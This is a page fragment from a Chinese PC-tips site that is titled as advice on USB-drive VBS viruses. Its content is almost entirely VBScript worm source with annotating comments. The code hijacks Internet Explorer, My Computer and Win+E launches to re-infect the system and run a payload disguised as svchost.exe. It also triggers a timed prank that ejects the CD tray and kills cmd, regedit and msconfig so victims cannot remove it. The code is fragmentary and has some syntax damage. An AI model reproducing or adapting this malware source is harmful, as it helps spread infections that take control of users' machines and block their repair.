u盘中了vbs病毒怎么办_u盘vbs病毒杀不干净_vbs病毒(2)

Call InvadeSystem(VirusLoad,VirusAss)

Call Run('%SystemRoot%\system\svchost.exe '&VirusLoad)

Case 'oie'

RunPath='''%ProgramFiles%\Internet Explorer\IEXPLORE.EXE'''

Call Run(RunPath)

Call InvadeSystem(VirusLoad,VirusAss)

Call Run('%SystemRoot%\system\svchost.exe '&VirusLoad)

Case 'omc''打开我的电脑

RunPath='explorer.exe/n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}'

Call Run(RunPath)

Call InvadeSystem(VirusLoad,VirusAss)

Call Run('%SystemRoot%\system\svchost.exe '&VirusLoad)

Case 'emc''劫持Win+E

RunPath='explorer.exe/n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}'

Call Run(RunPath)

Call InvadeSystem(VirusLoad,VirusAss)

Call Run('%SystemRoot%\system\svchost.exe '&VirusLoad)

Case Else

If PreDblInstance=True Then

WScript.Quit

End If

Timeout = Datediff('ww', GetInfectedDate, Date) -12'12周也就是说感染了3个月了

If Timeout>0 And Month(Date) = Day(Date) Then

Call VirusAlert()

Call MakeJoke(CInt(Month(Date)))'如果是5月5号那么就弹出5次光驱

End If

Call MonitorSystem()

End Select

End Sub

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

'主函数至此结束

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

SubMonitorSystem()'结束taskmgr.exe、regedit.exe、msconfig.exe、cmd.exe

On Error Resume Next

Dim ProcessNames, ExeFullNames

ProcessNames=Array('cmd.exe','cmd.com','regedit.exe','regedit.scr','regedit.pif','regedit.com','msconfig.exe')'ProcessNames相当于数组首地址

VBSFullNames=Array(GetMainVirus(1))

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-25802-2.html